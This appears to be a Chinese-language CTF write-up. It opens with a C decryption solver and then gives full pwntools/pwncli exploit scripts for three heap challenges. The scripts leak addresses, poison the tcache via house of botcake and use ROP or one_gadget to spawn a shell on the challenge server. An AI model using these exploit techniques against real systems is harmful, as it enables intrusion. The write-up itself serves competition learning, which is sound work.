0x13, 0xC5, 0xF3, 0xD1, 0xC7, 0x3D, 0x2C, 0xF3, 0x94, 0x92,
0x09, 0xE4, 0xCB, 0xAF, 0x4E, 0x16, 0x3E, 0xE5, 0xE5, 0xFD,
0x41, 0xBD, 0x77, 0x4B, 0x38, 0x6D, 0x22, 0x7C, 0xE1, 0x9A,
0x47, 0x9F, 0xC4, 0x32, 0xB0, 0xDB, 0x07, 0xF5, 0x3F, 0x89,
0xA7, 0x09, 0x24, 0x77, 0x60, 0x76, 0x79, 0x40, 0x23, 0x0F,
0x2A, 0xAE, 0x72, 0xC1, 0xF9, 0xAD, 0x6D, 0x35, 0x57, 0xF7,
0xF0, 0x91, 0xCE, 0x00, 0xD1, 0x56, 0x5F, 0xFF, 0x00, 0x8A,
0x04, 0x17, 0x3B, 0x25, 0x4B, 0xC1, 0x87, 0x95, 0x9C, 0x3B,
0xEC, 0x9A, 0xE9, 0x5C, 0xFB, 0x6F, 0xC6, 0xC6, 0xE6, 0x5D,
0x4D, 0x5D, 0x59, 0x2D, 0x37, 0x63, 0x28, 0xF5, 0x3A, 0xC4,
0xC1, 0xD2, 0xF7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00
};
static inline uint8_t rorb(uint8_t a, uint8_t s) {
s &= 7;
return (uint8_t)((a >> s) | (a << (8 - s)));
}
static inline uint8_t rolb(uint8_t a, uint8_t s) {
s &= 7;
return (uint8_t)((a << s) | (a >> (8 - s)));
}
static void ror9(uint8_t *dst, const uint8_t *rot) {
for (int i = 0; i < 9; ++i) dst[i] = rorb(dst[i], rot[i]);
}
static void rol9(uint8_t *dst, const uint8_t *rot) {
for (int i = 0; i < 9; ++i) dst[i] = rolb(dst[i], rot[i]);
}
static void xor9(uint8_t *dst, const uint8_t *opr) {
for (int i = 0; i < 9; ++i) dst[i] ^= opr[i];
}
// 正向 sbox: out[i] = in[key2[i]-1]
// 逆向 sbox: in[p[i]] = out[i],其中 p[i] = key2[i]-1
static void inv_sbox(uint8_t *state) {
uint8_t tmp[9];
for (int i = 0; i < 9; ++i) {
int p = (int)key2[i] - 1; // 0..8
tmp[p] = state[i];
}
for (int i = 0; i < 9; ++i) state[i] = tmp[i];
}
// 正向 add9: b = key3,逆向需要 key3_inv
static void inv_add9(uint8_t *state, const uint8_t *key3_inv) {
for (int i = 0; i < 9; ++i) state[i] = key3_inv[state[i]];
}
// 单块(9 字节)逆轮函数:D = E^{-1}
static void inv_one_round(const uint8_t *keystream, uint8_t *blk, const uint8_t *key3_inv) {
// 逐轮逆序:i = 44 .. 0
for (int i = 44; i >= 0; --i) {
const uint8_t *SK = keystream + 18 + 9 * i;
// 6) 的逆:逆 add9
inv_add9(blk, key3_inv);
// 5) 的逆:奇数轮原为 ror(..., key2),逆为 rol;偶数轮原为 rol,逆为 ror
if (i & 1) {
// forward: ror9(blk, key2)
rol9(blk, key2);
} else {
// forward: rol9(blk, key2)
ror9(blk, key2);
}
// 4) 的逆:xor SK
xor9(blk, SK);
// 3) 的逆:inv_sbox
inv_sbox(blk);
// 2) 的逆:奇数轮原为 rol(..., SK),逆为 ror;偶数轮原为 ror(..., SK),逆为 rol
if (i & 1) {
// forward: rol9(blk, SK)
ror9(blk, SK);
} else {
// forward: ror9(blk, SK)
rol9(blk, SK);
}
// 1) 的逆:xor key2
xor9(blk, key2);
}
}
// 18 字节整体解密(支持任意 9 的倍数;本题 a3=18 无填充)
static void decode_real(const uint8_t *keystream, uint8_t *buf, int a3, const uint8_t *key3_inv) {
int pad = (9 - a3 % 9) % 9; // 本题为 0
int nbytes = a3 + pad; // 本题为 18
int nblocks = nbytes / 9;
uint32_t flag = *(const uint32_t *)(keystream + 424);
const uint8_t *K0 = keystream + 9; // 仅当 flag==1 时使用
// 逆 CFB 链:先解最后一块再往前
for (int bi = nblocks - 1; bi >= 0; --bi) {
uint8_t *Ci = buf + 9 * bi;
// D(Ci)
uint8_t tmp[9];
memcpy(tmp, Ci, 9);
inv_one_round(keystream, tmp, key3_inv);
if (flag == 1) {
if (bi == 0) {
// B0 = D(C0) ^ K0
for (int i = 0; i < 9; ++i) tmp[i] ^= K0[i];
} else {
// Bi = D(Ci) ^ C_{i-1}
for (int i = 0; i < 9; ++i) tmp[i] ^= buf[9 * (bi - 1) + i];
}
}
// 写回明文块 Bi
memcpy(Ci, tmp, 9);
}
// 如需去填充,可在此按 pad 去尾;本题 pad=0 可忽略
}
// 入口:反向滑动窗口解密(ibits 为 0/1,比特数组)
int64_t decode_bits(uint32_t *ibits, int bits_count, const uint8_t *keystream) {
if (!ibits || bits_count <= 143) return -1;
// 预计算 key3 的逆查表
uint8_t key3_inv[256];
for (int x = 0; x < 256; ++x) key3_inv[key3[x]] = (uint8_t)x;
// 反向滑动
for (int pos = bits_count - 144; pos >= 0; --pos) {
uint8_t v5[27];
memset(v5, 0, 18);
// 打包 144 比特为 18 字节(与加密完全一致)
for (int j = 0; j <= 143; ++j) {
int byte_idx = j / 8;
int bit_off = 7 - (j % 8);
v5[byte_idx] |= (uint8_t)(ibits[pos + j] & 1) << bit_off;
}
// 分组解密(18 字节)
decode_real(keystream, v5, 18, key3_inv);
// 拆回 144 比特,写回 ibits[pos..pos+143]
for (int k = 0; k <= 143; ++k) {
int byte_idx = k / 8;
int bit_off = 7 - (k % 8);
ibits[pos + k] = (v5[byte_idx] >> bit_off) & 1;
}
}
return 0;
}
#include <stdio.h>
uint8_t alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!";
uint32_t table[256];
void gen_table()
{
int j; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 255; ++i )
table[i] = -1;
for ( j = 0; j <= 63; ++j )
table[alphabet[j]] = j;
}
int main() {
#define input_len 27
uint32_t ibits[] = {
1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0
};
decode_bits(ibits, input_len * 6, keystream);
for (int i = 0; i < input_len * 6; i++)
{
printf("%d, ", ibits[i]);
}
putchar('\n');
gen_table();
uint8_t res[input_len];
for (int i = 0; i < input_len; i++)
{
int temp = 0;
for (int j = 0; j < 6; j++)
{
temp = temp * 2 + ibits[i * 6 + j];
}
res[i] = temp;
}
for (int i = 0; i < input_len; i++)
{
// int flag = 0;
for (int j = 0; j < 256; j++)
{
if (table[j] == res[i]) {
printf("%c", j);
// flag = 1;
break;
}
}
// if (!flag) {
// printf("\nwrong %x\n", res[i]);
// }
}
return 0;
}
ez_heap
这道算是比较基础的堆题,一切都像出题人早就安排好了一样。
结构体如下:
[C] 纯文本查看 复制代码
struct Chunk
{
int nlen;
int pad;
int csize;
int pad2;
char name[16];
__int64 content;
__int64 listptr;
};
其中content指针在存储的时候会异或一个用户输入的值,使用的时候再异或回去。
一开始要输入一个key,key中可以指定异或指针的值和可以交互的次数。
进入edit name选项有一个漏洞,name可以无限长(只要字符串中没有空格之类的字符,但要通过\0截断绕过长度检查)。
为了泄漏出堆地址和pie地址,需要让content指针指向content指针后面的位置。这里就要精确地设置异或值和布局堆风水,因为scanf("%s")会在字符串最后面补上0,最好只改指针最后一位。
泄漏出pie地址后,我们就可以在delete的时候输入main函数的地址返回到main。delete函数是有后门的,会在edit调用后跳转到任意地址。
第二次回到main函数时先泄漏libc地址,然后找one_gadget。注意直接跳转到one_gadget是会失败的,要在"Please enter your key:"的时候输入全零保证满足one_gadget的条件。
最终exp如下:
[Python] 纯文本查看 复制代码
from pwncli import *
elf = ELF("./heap")
# io = gift.io = elf.process()
io = gift.io = remote("60.205.163.215", 24552)
libc = elf.libc
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------
# flag{where_ILS_myyy_l1b2?_d0f2a59d-c7d7-4e71-8afd-4fced7cb45e2_HkSFbe}
def menu(choice):
sla(b"Please enter your choice.~~\n", str(choice).encode())
def enter_key(key):
sa(b"Please enter your key:\n", key)
def add(name, csize, content, key=b"\0" * 8):
menu(1)
enter_key(key)
sla(b"Please enter your name:(size<16)\n", name)
sla(b"Please enter content size:(size<=0x70)\n", str(csize).encode())
sla(b"Please enter content:\n", content)
def delete(idx, num=1, key=b"\0" * 8):
menu(2)
enter_key(key)
sla(b"Please enter index:\n", str(idx).encode())
sla(b"Please enter your lucky numbers:\n", str(num).encode())
def show(idx, key=b"\0" * 8):
menu(3)
enter_key(key)
sla(b"Please enter index:\n", str(idx).encode())
def edit(idx, name, key=b"\0" * 8):
menu(4)
enter_key(key)
sla(b"Please enter index:\n", str(idx).encode())
sa(b"Please enter your new name:(size<16)", name)
payload = b"admin:" + b"\x11" * 8 + b":Junior:30"
sla(b"Do you want to play a game with me?", payload)
add(b"x", 0x10, b"aaa") # 0
add(b"x", 0x10, b"aaa") # 1
delete(0)
add(b"x", 0x10, b"aaa") # 2
delete(2)
add(b"x", 0x10, b"aaa") # 3
delete(3)
add(b"x", 0x10, b"aaa") # 4
delete(4)
add(b"x", 0x10, b"aaa") # 5
delete(5)
add(b"x", 0x10, b"aaa") # 6
delete(6)
add(b"x", 0x10, b"aaa") # 7
edit(7, fit(0, 0) + b"\n")
show(7)
ru(b"content: ")
heap_addr = u64_ex(xor(b'\0' + r(7), b"\x11\x11\x11\x11\x11\x11\x11\x11")) & ~0xfff
elf.address = u64_ex(r(6)) - 0x40b8
success(f"{heap_addr = :x}")
success(f"{elf.address = :x}")
main_addr = elf.address + 0x1CC7
delete(1, main_addr) # 回到main函数
payload = b"admin:" + b"\x11" * 8 + b":Junior:30"
sla(b"Do you want to play a game with me?", payload)
add("x", 0x10, b"aaa") # 0
add("x", 0x10, b"aaa") # 1
edit(0, fit(0, 0) + xor(p64(elf.got.puts), b"\x11" * 8) + b'\n')
show(0)
ru(b"content: ")
libc.address = u64_ex(r(6)) - libc.sym.puts
success(f"{libc.address = :x}")
delete(1, libc.address + 0xef52b)
# attach(io)
'''
0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x68 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
'''
# --------
ia()
container_master
这道题直接逆向我是不想逆了(虽然保留了符号表),所以我把程序导出c源文件后再让ai分析漏洞。
漏洞在edit的时候可以重新设置输入的大小来产生堆溢出。后面的大家都会就不说了。
这里有个比较重要的地方是远程的堆布局可能和本地是不一样的,所以要先定位到堆的起始位置(堆在页开始处,0x290可作为特征找到),然后根据堆大小算出远程的堆布局。我算出的堆布局如下:
[Plain Text] 纯文本查看 复制代码
0x290
0x12010
0x510
0x1010
0x1010
0x20
0x20
...
然后就是简单的堆攻击了,这里就直接放出wp。
[Python] 纯文本查看 复制代码
#!python3
from pwncli import *
elf = ELF("./pwn")
# io = gift.io = elf.process()
io = gift.io = remote("60.205.163.215", 47337)
libc = elf.libc
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------
'''
1. Exit
2. Add deque to vector
3. Create Animal in deque
4. Remove deque from vector
5. Remove Animal from deque
6. Edit Animal in deque
7. Print Animal in deque
12. Create Animal in vector
13. Remove Animal from vector
14. Edit Animal in vector
15. Print Animal in vector
'''
def menu(choice):
sla(b"Enter your choice: ", str(choice).encode())
def exit_():
menu(1)
def add_deque():
menu(2)
def create_in_queue(queue_idx, size):
menu(3)
sla(b"): ", str(queue_idx).encode())
sla(b"Input size: ", str(size).encode())
def remove_queue():
menu(4)
def remove_from_queue(queue_idx, animal_idx):
menu(5)
sla(b"): ", str(queue_idx).encode())
sla(b"): ", str(animal_idx).encode())
def edit_in_queue(queue_idx, animal_idx, size, content):
menu(6)
sla(b"): ", str(queue_idx).encode())
sla(b"): ", str(animal_idx).encode())
sla(b"Input size: ", str(size).encode())
sa(b"the content :", content)
def print_in_queue(queue_idx, animal_idx):
menu(7)
sla(b"): ", str(queue_idx).encode())
sla(b"): ", str(animal_idx).encode())
def create_in_vector(size):
menu(12)
sla(b"Input size: ", str(size).encode())
def remove_from_vector(idx):
menu(13)
sla(b"): ", str(idx).encode())
def edit_in_vector(idx, content):
menu(14)
sla(b"): ", str(idx).encode())
sla(b"Input size: ", str(len(content)).encode())
sa(b"the content :", content)
def print_in_vector(idx):
menu(15)
sla(b"): ", str(idx).encode())
create_in_vector(0x10) # 0
create_in_vector(0xC8) # 1
remove_from_vector(1)
create_in_vector(0xC8) # 1
print_in_vector(1)
heapbase = (u64_ex(r(5)) << 12) - 0x14000 # 本地是0x13000,和远程不同
success(f"{heapbase = :x}")
add_deque()
# attach(io)
'''
远程布局
0x290
0x12010
0x510
0x1010
0x1010
0x20
0x20
0x20
0xd0
0x50
0x1000
0x50
0x1000
'''
payload = fit(0, 0, 0, 0x21, 0, heapbase + 8 + 0x290 + 0x12010 + 0x510 + 0x1010 + 0x1010 + 0x20 + 0x20 + 0x20 + 0xd0 + 0x50 +
0x10)
edit_in_vector(0, payload)
print_in_vector(1)
libc.address = u64_ex(r(6)) - 0x203b20
success(f"{libc.address = :x}")
payload = fit(0, 0, 0, 0x21, 0, libc.sym.environ)
edit_in_vector(0, payload)
print_in_vector(1)
main_ret_addr = u64_ex(r(6)) - 0x130
payload = fit(0, 0, 0, 0x21, 0, main_ret_addr)
edit_in_vector(0, payload)
ret = libc.address + 0x000000000002882f
pop_rdi = libc.address + 0x000000000010f75b
system = libc.sym.system
bin_sh = next(libc.search(b"/bin/sh"))
payload = fit(ret, pop_rdi, bin_sh, system)
edit_in_vector(1, payload)
# attach(io, "b *$rebase(0x18E5)")
menu(1)
# flag{Sakurakouji_Runa_ba1f2b87-0cd4-4245-aa7e-9d15a448b846}
# --------
ia()
ez_jail
这道题逻辑很简单,而且保留了符号表,但是我不知道为什么我做出来会这么复杂。
可以无限uaf,由于不能edit所以要通过house of botcake来完成任意地址分配,但是有个begin_addr只能超出堆地址范围任意写一次。程序不仅无法正常退出,而且puts和printf都被替换为了write,这意味着不能打IO。
到这里我想了很久都没有思路,最后走投无路问了下ai,ai立马帮我找到一个漏洞:由于索引溢出可以修改begin_addr。
当然到这里只是能任意写无限次而已,想获取shell还是很难。这里我唯一的思路就是泄漏栈地址然后在栈上rop。
第一个问题,environ的地址不与0x10对齐,这意味着如果把堆块分配到environ会直接报错。这里的解决方案是找libc上其他栈地址。查找的方式是search -4 <栈地址高32位>,可以搜到除了environ以外其他栈地址,随便找一个与0x10对齐的泄漏就行了。
第二个问题,add在输入最后面会补上0,这意味着即使分配到了堆块还是无法泄漏地址。所以ai也帮我看出了add的时候size是可以为0的。但是这里的结果跟ai描述的不一样,ai认为-1会导致无限越界写,实测是会导致read函数失败返回负一。由于程序没有对-1做异常处理,所以可以防止分配到的堆块里的地址被\0截断。
最终exp如下:
[Python] 纯文本查看 复制代码
#!python3
from pwncli import *
elf = ELF("./ez_jail")
io = gift.io = elf.process()
# io = gift.io = remote("60.205.163.215", 61557)
libc = elf.libc
context(log_level="debug", arch=elf.arch, terminal=["tmux", "sp", "-h"])
# --------
def menu(choice):
sla(b"> ", str(choice).encode())
def add(idx, size, content=b"a"):
menu(1)
sla(b"idx > ", str(idx).encode())
sla(b"size ", str(size).encode())
sla(b"content ", content)
def delete(idx):
menu(2)
sla(b"idx > ", str(idx).encode())
def show(idx):
menu(3)
sla(b"idx > ", str(idx).encode())
attach(io)
add(1, 0x430)
add(0, 0x10)
# add(2, 0)
delete(0)
show(0)
heap_base = u64_ex(r(5)) << 12
success(f"{heap_base = :x}")
delete(1)
show(1)
libc.address = u64_ex(r(6)) - 0x203b20
success(f"{libc.address = :x}")
# attach(io, "b *$rebase(0x14DE)")
add(0, 0x10)
# house of botcake
for i in range(7):
add(i, 0x100)
add(7, 0x100) # prev
add(8, 0x100) # victim
add(9, 0x10)
add(14, 0x10)
delete(14)
delete(9)
for i in range(7):
delete(i)
delete(8)
delete(7)
add(10, 0x100)
delete(8)
payload = b"a" * 0x100 + fit(0, 0x111, (heap_base >> 12) ^ (heap_base + 0xc50))
add(11, 0x210, payload)
# attach(io)
add(12, 0x100)
environ = libc.address + 0x2046e0
payload = fit((heap_base >> 12) ^ (environ))
add(13, 0x100, payload)
# attach(io, "b *$rebase(0x1410)")
add(15, 0x10)
menu(1)
sla(b"idx > ", b"16")
sla(b"size ", b"0")
# attach(io, "b *$rebase(0x169D)")
show(16)
stack_addr = u64_ex(r(6)) - 0x120 - 0x18
success(f"{stack_addr = :x}")
add(16, 0x40)
# # house
for i in range(7):
add(i, 0x110)
add(7, 0x110) # prev
add(8, 0x110) # victim
add(9, 0x30)
for i in range(7):
delete(i)
delete(8)
delete(7)
add(10, 0x110)
delete(8)
# pause()
payload = b"a" * 0x110 + fit(0, 0x121, ((heap_base >> 12) + 1) ^ (stack_addr))
add(11, 0x230, payload)
add(12, 0x110)
ret = libc.address + 0x000000000002882f
pop_rdi = libc.address + 0x000000000010f75b
bin_sh = next(libc.search(b"/bin/sh"))
system = libc.sym.system
payload = fit(0, ret, pop_rdi, bin_sh, system)
# attach(io, "b *$rebase(0x1525)")
add(13, 0x110, payload)
# attach(io)
# menu(5)
# add(0, 0x10)
# --------
ia()
后记
由于我不是专业的逆向手,其他逆向题也不会做。另外两道pwn题,v8完全不会,而nothing给的条件太少。我已经通过栈迁移到bss而且有32字节的rop链了,但是由于没有泄漏libc地址无法完成利用。
星期一到星期五都很忙,也就星期六日能静下心来打比赛,wp搁置得越久越不想写,有写得不清晰或不对的地方还请各读者在评论里指出,我会及时修正。
免费评分
查看全部评分